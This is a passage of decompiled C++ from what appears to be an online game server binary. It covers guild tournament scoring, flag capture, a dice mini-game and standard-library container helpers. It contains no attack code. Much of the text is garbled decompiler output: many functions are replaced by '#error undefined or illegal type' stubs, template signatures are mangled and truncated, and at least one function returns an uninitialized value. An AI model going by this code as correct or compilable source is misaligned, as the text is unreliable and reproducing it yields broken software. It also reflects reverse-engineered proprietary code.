*)&v3->_Bx._Buf[0]; memcpy((void *)(v13 + v3->_Mysize), _Ptr, _Count); v11 = v3->_Myres < 0x10; v3->_Mysize = v9; if ( !v11 ) { *(_BYTE *)(*(_DWORD *)&v3->_Bx._Buf[0] + v9) = 0; return v3; } v3->_Bx._Buf[v9] = 0; } } return v3; } if ( v4 >= 0x10 ) v6 = *(char **)v6; return std::basic_string_std::allocator>::append(v3, v3, _Ptr - v6, _Count); } //----- (00466370) -------------------------------------------------------- #error "466370: undefined or illegal type '#593' (funcsize=208)" //----- (00466620) -------------------------------------------------------- #error "466620: undefined or illegal type '#593' (funcsize=89)" //----- (00466750) -------------------------------------------------------- #error "466750: undefined or illegal type '#593' (funcsize=89)" //----- (00466880) -------------------------------------------------------- FieldOption::GuildTournamentMapStr *__thiscall GuildTouramentLoginDataInfo::GetFieldGTMapInfo(GuildTouramentLoginDataInfo *this, #734 *pPlayer) { int v2; // eax@1 FieldOption::GuildTournamentMapStr *v3; // esi@2 v2 = *((_BYTE *)>Map + 13 * this->gta_Struct.nTournamentMapNo); if ( v2 >= fieldlist.fc_GuildTournamentMap.number ) { v3 = 0; LABEL_4: _ErrorSendPlayer( (#593 *)pPlayer, 5185, "GuildTouramentLoginDataInfo::GetFieldGTMapInfo"); return v3; } v3 = fieldlist.fc_GuildTournamentMap.attr[v2]; if ( !v3 ) goto LABEL_4; return v3; } // D1D8F28: using guessed type struct __unnamed *GTMap; //----- (004668D0) -------------------------------------------------------- MapInfo *__thiscall GuildTouramentLoginDataInfo::GetMapInfo(GuildTouramentLoginDataInfo *this, #734 *pPlayer) { int v2; // eax@1 const char *v3; // esi@2 unsigned int v5; // eax@6 MapInfo *v6; // esi@9 v2 = *((_BYTE *)>Map + 13 * this->gta_Struct.nTournamentMapNo); if ( v2 < fieldlist.fc_GuildTournamentMap.number ) { v3 = (const char *)fieldlist.fc_GuildTournamentMap.attr[v2]; if ( v3 ) goto LABEL_6; } else { v3 = 0; } _ErrorSendPlayer( (#593 *)pPlayer, 5185, "GuildTouramentLoginDataInfo::GetFieldGTMapInfo"); if ( !v3 ) return 0; LABEL_6: v5 = BTree::operator__(&mapdatabox.mdb_btree, v3); if ( v5 == -1 ) LOWORD(v5) = -1; v5 = (unsigned __int16)v5; if ( (unsigned __int16)v5 >= mapdatabox.mdb_maxmapid ) { v6 = 0; LABEL_11: _ErrorSendPlayer( (#593 *)pPlayer, 5187, "GuildTouramentLoginDataInfo::GetMapInfo"); return v6; } v6 = mapdatabox.mdb_index[v5]; if ( !v6 ) goto LABEL_11; return v6; } // D1D8F28: using guessed type struct __unnamed *GTMap; //----- (00466970) -------------------------------------------------------- FieldOption::FieldAttr *__thiscall GuildTouramentLoginDataInfo::GetFieldAttr(GuildTouramentLoginDataInfo *this, #734 *pPlayer) { int v2; // eax@1 char *v3; // esi@2 v2 = *((_BYTE *)>Map + 13 * this->gta_Struct.nTournamentMapNo); if ( v2 < fieldlist.fc_GuildTournamentMap.number ) { v3 = (char *)fieldlist.fc_GuildTournamentMap.attr[v2]; if ( v3 ) return FieldOption::fo_GetFieldAttr(&fieldlist.fc_FieldOption, v3); } else { v3 = 0; } _ErrorSendPlayer( (#593 *)pPlayer, 5185, "GuildTouramentLoginDataInfo::GetFieldGTMapInfo"); if ( !v3 ) return 0; return FieldOption::fo_GetFieldAttr(&fieldlist.fc_FieldOption, v3); } // D1D8F28: using guessed type struct __unnamed *GTMap; //----- (004669D0) -------------------------------------------------------- #error "4669D0: undefined or illegal type '#734' (funcsize=178)" //----- (00466C50) -------------------------------------------------------- #error "466C50: undefined or illegal type '#734' (funcsize=85)" //----- (00466D50) -------------------------------------------------------- #error "466D50: undefined or illegal type '#734' (funcsize=104)" //----- (00466EE0) -------------------------------------------------------- #error "466EE0: undefined or illegal type '#593' (funcsize=222)" //----- (004671D0) -------------------------------------------------------- #error "4671D0: undefined or illegal type '#593' (funcsize=75)" //----- (004672F0) -------------------------------------------------------- void __thiscall RoutionInterface::_RoutionInterface(RoutionInterface *this) { this->vfptr = (RoutionInterfaceVtbl *)&RoutionInterface::_vftable_; } // 6438D0: using guessed type int (__thiscall *RoutionInterface___vftable_)(void *p, char); //----- (00467300) -------------------------------------------------------- void *__thiscall RoutionInterface::_vector_deleting_destructor_(RoutionInterface *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (RoutionInterfaceVtbl *)&RoutionInterface::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 6438D0: using guessed type int (__thiscall *RoutionInterface___vftable_)(void *p, char); //----- (00467320) -------------------------------------------------------- void *__thiscall ScriptInterrupt::InterruptEventArgument::_scalar_deleting_destructor_(ScriptInterrupt::InterruptEventArgument *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (ScriptInterrupt::InterruptEventArgumentVtbl *)&ScriptInterrupt::InterruptEventArgument::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 6438D8: using guessed type int (__thiscall *ScriptInterrupt__InterruptEventArgument___vftable_)(void *p, char); //----- (00467360) -------------------------------------------------------- void __thiscall AxialListFlagCaptureCancel::_AxialListFlagCaptureCancel(AxialListFlagCaptureCancel *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListFlagCaptureCancel::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 6438E0: using guessed type int (__stdcall *AxialListFlagCaptureCancel___vftable_)(int, int, int distancesquar); //----- (00467370) -------------------------------------------------------- GuildTournamentSystem::GuildGroup *__thiscall GuildTournamentSystem::GetEnemyGuildGroup(GuildTournamentSystem *this, unsigned int GuildNumber) { GuildTournamentSystem::GuildGroup *result; // eax@1 result = &this->m_GroupA; if ( this->m_GroupA.m_GuildNumber == GuildNumber ) result = &this->m_GroupB; return result; } //----- (00467390) -------------------------------------------------------- bool __thiscall GuildTournamentSystem::IsBattleGuild(GuildTournamentSystem *this, unsigned int a, unsigned int b) { unsigned int v3; // eax@1 v3 = this->m_GroupA.m_GuildNumber; return v3 == a && this->m_GroupB.m_GuildNumber == b || v3 == b && this->m_GroupB.m_GuildNumber == a; } //----- (004673C0) -------------------------------------------------------- #error "4673C0: undefined or illegal type '#593' (funcsize=24)" //----- (00467400) -------------------------------------------------------- #error "467400: undefined or illegal type '#593' (funcsize=39)" //----- (00467490) -------------------------------------------------------- void __thiscall ScriptInterrupt::InterruptEventWinGuild::_InterruptEventWinGuild(ScriptInterrupt::InterruptEventWinGuild *this) { this->baseclass_0.vfptr = (ScriptInterrupt::InterruptEventArgumentVtbl *)&ScriptInterrupt::InterruptEventArgument::_vftable_; } // 6438D8: using guessed type int (__thiscall *ScriptInterrupt__InterruptEventArgument___vftable_)(void *p, char); //----- (004674A0) -------------------------------------------------------- void __thiscall GuildTournamentSystem::FlagInfo::FlagCapture(GuildTournamentSystem::FlagInfo *this, unsigned int GuildNumber) { this->m_GuildNumber = GuildNumber; TickTimer::Enable(&this->m_FlagScoreTimer, 1); } //----- (004674C0) -------------------------------------------------------- bool __thiscall DiceGame::Start(DiceGame *this, int nTick, unsigned int RedPlayerNumber, unsigned int BluePlayerNumber) { DiceGame *v4; // esi@1 int v5; // edi@1 ORField *v6; // esi@1 v4 = this; v5 = nTick; this->m_RedPlayerNumber = RedPlayerNumber; this->m_BluePlayerNumber = BluePlayerNumber; this->m_RedDiceResult = 0; this->m_BlueDiceResult = 0; PacketContainer::pcb_SetSocketSession((ORField *)&this->m_nDelayTic, (ORColumnHeader *)nTick); TickTimer::Enable(&v4->m_nDelayTic, 1); v6 = (ORField *)&v4->m_NotifyOfEndTimer; if ( nTick > 50 ) v5 = nTick - 50; PacketContainer::pcb_SetSocketSession(v6, (ORColumnHeader *)v5); TickTimer::Enable((TickTimer *)v6, 1); return 1; } //----- (00467520) -------------------------------------------------------- #error "467520: undefined or illegal type '#593' (funcsize=42)" //----- (004675C0) -------------------------------------------------------- bool __thiscall fastdelegate::FastDelegate1::empty(fastdelegate::FastDelegate1 *this) { return !this->m_Closure.baseclass_0.m_pthis && !this->m_Closure.baseclass_0.m_pFunction; } //----- (004675E0) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 44; return result; } //----- (00467600) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 192; return result; } //----- (00467620) -------------------------------------------------------- std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Max(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Right; !i->_Isnil; i = i->_Right ) result = i; return result; } //----- (00467640) -------------------------------------------------------- std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Min(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Left; if ( !_Pnode->_Left->_Isnil ) { do { result = v2; v2 = v2->_Left; } while ( !v2->_Isnil ); } return result; } //----- (00467660) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::const_iterator::_Dec(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::const_iterator::_Inc(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator(GuildTournamentSystem::GuildMemberInfo *_First, GuildTournamentSystem::GuildMemberInfo *_Last, GuildTournamentSystem::GuildMemberInfo *_Val) { GuildTournamentSystem::GuildMemberInfo *v3; // eax@1 void *v4; // edi@2 v3 = _First; while ( v3 != _Last ) { v4 = v3; ++v3; memcpy(v4, _Val, 0x1Cu); } } //----- (00467750) -------------------------------------------------------- void __cdecl std::fill(unsigned __int16 *_First, unsigned __int16 *_Last, const unsigned __int16 *_Val) { unsigned __int16 *i; // eax@1 for ( i = _First; i != _Last; ++i ) *i = *_Val; } //----- (00467770) -------------------------------------------------------- void __cdecl std::fill(TOURNAMENT_PLAYER_SCORE *_First, TOURNAMENT_PLAYER_SCORE *_Last, TOURNAMENT_PLAYER_SCORE *_Val) { TOURNAMENT_PLAYER_SCORE *i; // eax@1 for ( i = _First; i != _Last; ++i ) { *(_QWORD *)&i->CharID.n4_name[0] = *(_QWORD *)&_Val->CharID.n4_name[0]; *(_QWORD *)&i->CharID.n4_name[8] = *(_QWORD *)&_Val->CharID.n4_name[8]; i->unIncreaseScore = _Val->unIncreaseScore; i->unDecreaseScore = _Val->unDecreaseScore; i->unDieCount = _Val->unDieCount; i->unKillCount = _Val->unKillCount; i->unGuildGreade = _Val->unGuildGreade; i->unCaptureFlag = _Val->unCaptureFlag; } } //----- (004677D0) -------------------------------------------------------- TOURNAMENT_PLAYER_SCORE *__cdecl std::_Copy_backward_opt(TOURNAMENT_PLAYER_SCORE *_First, TOURNAMENT_PLAYER_SCORE *_Last, TOURNAMENT_PLAYER_SCORE *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { TOURNAMENT_PLAYER_SCORE *v4; // ecx@1 TOURNAMENT_PLAYER_SCORE *result; // eax@1 int v6; // esi@2 v4 = _Last; for ( result = _Dest; v4 != _First; result->unCaptureFlag = v4->unCaptureFlag ) { v6 = *(_DWORD *)&v4[-1].CharID.n4_name[0]; --v4; --result; *(_DWORD *)&result->CharID.n4_name[0] = v6; *(_DWORD *)&result->CharID.n4_name[4] = *(_DWORD *)&v4->CharID.n4_name[4]; *(_DWORD *)&result->CharID.n4_name[8] = *(_DWORD *)&v4->CharID.n4_name[8]; *(_DWORD *)&result->CharID.n4_name[12] = *(_DWORD *)&v4->CharID.n4_name[12]; result->unIncreaseScore = v4->unIncreaseScore; result->unDecreaseScore = v4->unDecreaseScore; result->unDieCount = v4->unDieCount; result->unKillCount = v4->unKillCount; result->unGuildGreade = v4->unGuildGreade; } return result; } //----- (00467830) -------------------------------------------------------- #error "467830: undefined or illegal type '#593' (funcsize=35)" //----- (004678A0) -------------------------------------------------------- int __thiscall GuildTournamentSystem::GetVictoryGuild(GuildTournamentSystem *this) { unsigned int v1; // eax@1 unsigned int v2; // edx@1 int result; // eax@2 v1 = this->m_GroupB.m_unAllGuildScore; v2 = this->m_GroupA.m_unAllGuildScore; if ( v2 <= v1 ) { if ( v2 >= v1 ) result = 0; else result = this->m_GroupB.m_GuildNumber; } else { result = this->m_GroupA.m_GuildNumber; } return result; } //----- (004678C0) -------------------------------------------------------- int __thiscall GuildTournamentSystem::GetLoseGuild(GuildTournamentSystem *this) { unsigned int v1; // eax@1 unsigned int v2; // edx@1 int result; // eax@2 v1 = this->m_GroupB.m_unAllGuildScore; v2 = this->m_GroupA.m_unAllGuildScore; if ( v2 <= v1 ) { if ( v2 >= v1 ) result = 0; else result = this->m_GroupA.m_GuildNumber; } else { result = this->m_GroupB.m_GuildNumber; } return result; } //----- (004678E0) -------------------------------------------------------- void *__thiscall ScriptInterrupt::InterruptEventWinGuild::_scalar_deleting_destructor_(ScriptInterrupt::InterruptEventWinGuild *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ScriptInterrupt::InterruptEventWinGuild::_InterruptEventWinGuild(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00467900) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lrotate(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Right; _Wherenode->_Right = v2->_Left; if ( !v2->_Left->_Isnil ) v2->_Left->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v3 = *((_DWORD *)this + 1); if ( _Wherenode == *(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4 = _Wherenode->_Parent; if ( _Wherenode == v4->_Left ) { v4->_Left = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4->_Right = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (00467960) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Rrotate(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Left; _Wherenode->_Left = _Wherenode->_Left->_Right; v3 = v2->_Right; if ( !v3->_Isnil ) v3->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v4 = *((_DWORD *)this + 1); if ( _Wherenode == *(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5 = _Wherenode->_Parent; if ( _Wherenode == v5->_Right ) { v5->_Right = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5->_Left = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (004679C0) -------------------------------------------------------- std::vector >::iterator *__cdecl std::find_if>::iterator_GuildTournamentSystem::GuildMemberInfo::Find_if_handle>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, GuildTournamentSystem::GuildMemberInfo::Find_if_handle _Pred) { std::vector >::iterator i; // ecx@1 std::vector >::iterator *v5; // eax@4 for ( i = _First; i != _Last; *(_DWORD *)&i += 28 ) { if ( **(_WORD **)&i == _Pred.m_hHandle ) break; } v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = i; return v5; } //----- (004679F0) -------------------------------------------------------- #error "4679F0: undefined or illegal type '#593' (funcsize=29)" //----- (00467A30) -------------------------------------------------------- int __cdecl ShineDynamicCast(int a1) { int result; // eax@2 int v2; // eax@3 if ( a1 ) { v2 = (**(int (__thiscall ***)(_DWORD))a1)(a1); if ( v2 ) { while ( (ShineRTTI *)v2 != &ShineObjectClass::ShineMob::m_RTTI ) { v2 = *(_DWORD *)(v2 + 4); if ( !v2 ) goto LABEL_6; } result = a1; } else { LABEL_6: result = 0; } } else { result = 0; } return result; } //----- (00467A70) -------------------------------------------------------- GuildTournamentSystem::GuildMemberInfo *__cdecl std::copy_backward(GuildTournamentSystem::GuildMemberInfo *_First, GuildTournamentSystem::GuildMemberInfo *_Last, GuildTournamentSystem::GuildMemberInfo *_Dest) { GuildTournamentSystem::GuildMemberInfo *v3; // edx@1 GuildTournamentSystem::GuildMemberInfo *result; // eax@1 v3 = _Last; result = _Dest; while ( v3 != _First ) { --v3; --result; memcpy(result, v3, 0x1Cu); } return result; } //----- (00467AA0) -------------------------------------------------------- unsigned __int16 *__cdecl std::copy_backward(unsigned __int16 *_First, unsigned __int16 *_Last, unsigned __int16 *_Dest) { unsigned __int16 *result; // eax@1 memmove((char *)&_Dest[-(_Last - _First)], (char *)_First, 2 * (_Last - _First)); return result; } //----- (00467AC0) -------------------------------------------------------- GuildTournamentSystem::GuildMemberInfo *__cdecl std::_Uninit_copy>(GuildTournamentSystem::GuildMemberInfo *_First, GuildTournamentSystem::GuildMemberInfo *_Last, GuildTournamentSystem::GuildMemberInfo *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::GuildMemberInfo *v5; // edx@1 GuildTournamentSystem::GuildMemberInfo *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) memcpy(result, v5, 0x1Cu); ++v5; } return result; } //----- (00467AF0) -------------------------------------------------------- #error "467AF0: undefined or illegal type '#593' (funcsize=32)" //----- (00467B40) -------------------------------------------------------- void __thiscall DiceGame::End(DiceGame *this) { DiceGame *v1; // esi@1 TickTimer *v2; // edi@1 unsigned int v3; // eax@2 unsigned int v4; // ecx@2 v1 = this; v2 = &this->m_nDelayTic; if ( CGambleObject::go_Get_MaxEnterPlayerCnt(&this->m_nDelayTic) ) { TickTimer::Enable(v2, 0); v3 = v1->m_BlueDiceResult; v4 = v1->m_RedDiceResult; if ( v3 != v4 ) { if ( v1->m_DiceGameEnd.m_Closure.baseclass_0.m_pthis || v1->m_DiceGameEnd.m_Closure.baseclass_0.m_pFunction ) { if ( v3 >= v4 ) ((void (__thiscall *)(_DWORD, _DWORD))v1->m_DiceGameEnd.m_Closure.baseclass_0.m_pFunction)( v1->m_DiceGameEnd.m_Closure.baseclass_0.m_pthis, v1->m_BluePlayerNumber); else ((void (__thiscall *)(_DWORD, _DWORD))v1->m_DiceGameEnd.m_Closure.baseclass_0.m_pFunction)( v1->m_DiceGameEnd.m_Closure.baseclass_0.m_pthis, v1->m_RedPlayerNumber); } } } } //----- (00467BA0) -------------------------------------------------------- std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Buynode(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Left = 0; if ( result != (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Parent = 0; if ( result != (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Right = 0; result->_Color = 1; result->_Isnil = 0; return result; } //----- (00467BE0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_0>>::_Erase(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator >,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator >,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator>_0>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (00467C20) -------------------------------------------------------- int __stdcall std::vector>::_Ucopy(char *src, int a2, char *dst) { int v3; // eax@1 memmove(dst, src, 2 * ((a2 - (signed int)src) >> 1)); return 2 * ((a2 - (signed int)src) >> 1) + v3; } //----- (00467C50) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(GuildTournamentSystem::GuildMemberInfo *_First, unsigned int _Count, GuildTournamentSystem::GuildMemberInfo *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // edx@2 void *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) memcpy(v6, _Val, 0x1Cu); v6 = (char *)v6 + 28; --v5; } while ( v5 ); } } //----- (00467C80) -------------------------------------------------------- TOURNAMENT_PLAYER_SCORE *__cdecl std::_Uninit_copy>(TOURNAMENT_PLAYER_SCORE *_First, TOURNAMENT_PLAYER_SCORE *_Last, TOURNAMENT_PLAYER_SCORE *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { TOURNAMENT_PLAYER_SCORE *v5; // edx@1 TOURNAMENT_PLAYER_SCORE *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) memcpy(result, v5, 0x28u); ++v5; } return result; } //----- (00467CB0) -------------------------------------------------------- #error "467CB0: undefined or illegal type '#593' (funcsize=52)" //----- (00467D40) -------------------------------------------------------- void __thiscall GuildTournamentSystem::SetErrorDelegate(GuildTournamentSystem *this, fastdelegate::FastDelegate1 delegate) { this->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction = delegate.m_Closure.baseclass_0.m_pFunction; this->m_ErrorMessage.m_Closure.baseclass_0.m_pthis = delegate.m_Closure.baseclass_0.m_pthis; this->m_GroupA.m_ErrorMessage.m_Closure.baseclass_0.m_pFunction = delegate.m_Closure.baseclass_0.m_pFunction; this->m_GroupA.m_ErrorMessage.m_Closure.baseclass_0.m_pthis = delegate.m_Closure.baseclass_0.m_pthis; this->m_GroupB.m_ErrorMessage.m_Closure.baseclass_0.m_pFunction = delegate.m_Closure.baseclass_0.m_pFunction; this->m_GroupB.m_ErrorMessage.m_Closure.baseclass_0.m_pthis = delegate.m_Closure.baseclass_0.m_pthis; this->m_diceGame.m_ErrorDeleGate.m_Closure.baseclass_0.m_pFunction = delegate.m_Closure.baseclass_0.m_pFunction; this->m_diceGame.m_ErrorDeleGate.m_Closure.baseclass_0.m_pthis = delegate.m_Closure.baseclass_0.m_pthis; } //----- (00467D70) -------------------------------------------------------- void __thiscall GuildTournamentSystem::ClearErrorDelegate(GuildTournamentSystem *this) { this->m_ErrorMessage.m_Closure.baseclass_0.m_pthis = 0; this->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction = 0; this->m_GroupA.m_ErrorMessage.m_Closure.baseclass_0.m_pthis = 0; this->m_GroupA.m_ErrorMessage.m_Closure.baseclass_0.m_pFunction = 0; this->m_GroupB.m_ErrorMessage.m_Closure.baseclass_0.m_pthis = 0; this->m_GroupB.m_ErrorMessage.m_Closure.baseclass_0.m_pFunction = 0; this->m_diceGame.m_ErrorDeleGate.m_Closure.baseclass_0.m_pFunction = 0; this->m_diceGame.m_ErrorDeleGate.m_Closure.baseclass_0.m_pthis = 0; } //----- (00467DA0) -------------------------------------------------------- void __thiscall DiceGame::DiceThrow(DiceGame *this, unsigned int GameUser) { DiceGame *v2; // esi@1 signed __int16 v3; // ax@7 unsigned int v4; // ecx@7 int v5; // eax@7 int v6; // edx@8 signed __int16 v7; // ax@12 unsigned int v8; // ecx@12 int v9; // eax@12 signed int v10; // [sp-4h] [bp-8h]@17 v2 = this; if ( !CGambleObject::go_Get_MaxEnterPlayerCnt(&this->m_nDelayTic) ) { if ( v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pthis || v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pFunction ) ((void (__thiscall *)(_DWORD, _DWORD))v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pFunction)( v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pthis, 6995); return; } if ( v2->m_RedPlayerNumber == GameUser ) { if ( !v2->m_RedDiceResult ) { v3 = RandomBox::rb_1000(&rndbox); v4 = v2->m_BlueDiceResult; v5 = (unsigned __int16)v3 % 6 + 1; v2->m_RedDiceResult = v5; if ( v5 == v4 ) { do { v6 = RandomBox::rb_1000(&rndbox) % 6 + 1; v2->m_RedDiceResult = v6; } while ( v6 == v2->m_BlueDiceResult ); } DiceGame::Send_DiceThrowResult(v2, v2->m_RedPlayerNumber, v2->m_RedDiceResult); goto LABEL_22; } LABEL_15: if ( v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pthis || v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pFunction ) { v10 = 6990; LABEL_21: ((void (__thiscall *)(_DWORD, _DWORD))v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pFunction)( v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pthis, v10); goto LABEL_22; } goto LABEL_22; } if ( v2->m_BluePlayerNumber == GameUser ) { if ( !v2->m_BlueDiceResult ) { v7 = RandomBox::rb_1000(&rndbox); v8 = v2->m_RedDiceResult; v9 = (unsigned __int16)v7 % 6 + 1; v2->m_BlueDiceResult = v9; if ( v8 == v9 ) { do v2->m_BlueDiceResult = RandomBox::rb_1000(&rndbox) % 6 + 1; while ( v2->m_RedDiceResult == v2->m_BlueDiceResult ); } DiceGame::Send_DiceThrowResult(v2, v2->m_BluePlayerNumber, v2->m_BlueDiceResult); goto LABEL_22; } goto LABEL_15; } if ( v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pthis || v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pFunction ) { v10 = 6988; goto LABEL_21; } LABEL_22: if ( v2->m_BlueDiceResult && v2->m_RedDiceResult ) DiceGame::End(v2); } //----- (00467EE0) -------------------------------------------------------- std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::find(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, const unsigned int *_Keyval) { std::_Tree_nod,std::allocator >,0> >::_Node *v3; // edx@1 std::_Tree_nod,std::allocator >,0> >::_Node *v4; // eax@1 std::_Tree,std::allocator >,0> >::iterator *v5; // eax@8 v3 = this->_Myhead; v4 = v3->_Parent; while ( !v4->_Isnil ) { if ( v4->_Myval.first >= *_Keyval ) { v3 = v4; v4 = v4->_Left; } else { v4 = v4->_Right; } } if ( v3 == this->_Myhead || *_Keyval < v3->_Myval.first ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = this->_Myhead; } else { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v3; } return v5; } //----- 